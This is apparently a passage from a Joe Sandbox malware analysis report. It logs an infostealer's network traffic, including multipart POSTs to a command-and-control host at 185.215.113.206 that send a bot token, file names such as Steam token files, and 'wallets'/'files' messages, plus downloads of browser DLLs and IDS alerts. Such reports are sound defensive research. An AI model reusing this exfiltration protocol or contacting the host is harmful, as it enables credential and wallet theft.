Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 2d 2d 0d 0a Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file"------IJEHIDHDAKJDHJKEBFIE--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 2d 2d 0d 0a Data Ascii: ------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="message"wallets------IEGCAAKFBAEGDGCBGCGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJJJECFIEBFHIEGHJDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="message"files------KJKJJJECFIEBFHIEGHJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file"------BGHIIJDGHCBFIECBKEGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"ybncbhylepme------AAAKEBGDAFHIIDHIIECF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 2d 2d 0d 0a Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBKFHJEBAAEBGDGDBFBG--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49756 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49750
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.4:49783

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64CC60 PR_Recv,

0_2_6C64CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xPc57FFhEE2BY+F&MD=PAo268AM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xPc57FFhEE2BY+F&MD=PAo268AM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
